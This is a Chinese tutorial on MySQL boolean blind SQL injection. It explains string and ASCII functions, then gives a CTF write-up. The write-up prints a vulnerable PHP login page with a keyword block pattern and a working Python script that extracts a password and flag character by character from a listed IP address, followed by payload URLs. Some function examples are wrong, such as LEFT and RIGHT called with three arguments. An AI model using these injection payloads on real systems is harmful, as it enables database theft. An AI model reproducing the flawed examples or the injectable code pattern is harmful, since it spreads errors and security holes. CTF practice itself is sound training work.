建议大家看此篇内容前,请先去看一下“MySQL盲注:基于时间延迟注入9种方法”,因为MySQL布尔型盲注需要用的函数还需要和其它函数一起配合才能真正的有效果。
MySQL盲注相关函数:截取函数、mid函数、ASCII码函数。
一、布尔型盲注:MID函数
语法:
MID(column_name,start[,length])
参数描述:
column_name:必需,要提取字符的字段。
start:必需,规定开始位置(起始值是1)。
length:可选,要返回的字符数,如果省略,刚MID()函数返回剩余文本。
示例:
select mid('abcde',3,1);
或
select mid('abcde' from 3 for 1);
二、布尔型盲注:截取函数
left( str, length) 从左开始截取字符串
说明:left(被截取字段,截取长度)
right(str, length) 从右开始截取字符串
说明:right(被截取字段,截取长度)
示例:
select left('abcde',3,1);
select right('abcde',3,1);
三、布尔型盲注:ASCII码函数
ORD()函数
ASCII()函数
返回第一个字符的ASCII码。
示例:
select ord('abcde');
select ascii('a');
CTF布尔型盲注
最后,我再给大家分享一个关于CTF布尔型盲注的例题;
这里主要就是让大家能够看懂源代码,要学会代码审计。只有明白了代码中的逻辑,才知道如何正确绕过?从而得到flag。
106.12.37.37:8080/level2/index.php.bak源代码如下:
<?php
error_reporting(0);
$token="e00cf25ad42683b3df678c61f42c6bda";
foreach($_GET as $key=>$value){
if (is_array($value)){
die("Bad input!");
}
$p="and|union|where|join|sleep|benchmark|if|sleep|benchmark| |\'|\"";
if(preg_match("/".$p."/is",$value)==1){
die("inj code!");
}
}
parse_str($_SERVER['QUERY_STRING']);
if($token==md5("admin")){
$link=@mysql_connect("localhost","x","x");
mysql_select_db("x",$link);
$sql="select * from user where userid = ".$userid;
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$arr = mysql_fetch_array($query);
if($arr['password'] == $password) {
$sql="select * from info where infoid=".$infoid;
$result=mysql_query($sql);
$arr = mysql_fetch_array($result);
if(empty($arr['content'])){
echo "error sql!";
}else{
echo $arr['content'];
}
}else{
echo "error password!";
}
}else{
echo "error userid!";
}
mysql_close($link);
}else{
echo "Bad token!";
}
?>
1、python攻击代码,得到密码:
import requests
dicts ='qwertyuiopasdfghjklzxcvbnm0123456789{}_@'
flag = ''
for x in range(1,50):
for i in dicts:
url = 'http://106.12.37.37:8080/level2/?token=21232f297a57a5a743894a0e4a801fc3&userid=(ascii(substr((select/**/password/**/from/**/user)/**/from/**/%d/**/for/**/1))=%d)&password=1'%(x,ord(i))
try:
response = requests.get(url,timeout = 5)
#print(url)
if response.text.find('error password!') != -1:
flag = flag + i
print(flag)
break
except Exception as e:
pass
print(flag)
第二步:利用得到的密码,再攻击,可以直接浏览器浏览以下网址;
http://106.12.37.37:8080/level2/?token=21232f297a57a5a743894a0e4a801fc3&userid=1&password=219d03ad2d752ad2806ea1de18613158
第三步:添加一个infoid,一般有数据的话,默认第一条数据id就是1;
http://106.12.37.37:8080/level2/?token=21232f297a57a5a743894a0e4a801fc3&userid=1&password=219d03ad2d752ad2806ea1de18613158&infoid=1
第四步:再查flag,还是用上面的pyhton代码,主要修改地方如下:
url = 'http://106.12.37.37:8080/level2/?token=21232f297a57a5a743894a0e4a801fc3&userid=(ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d)&password=1'%(x,ord(i))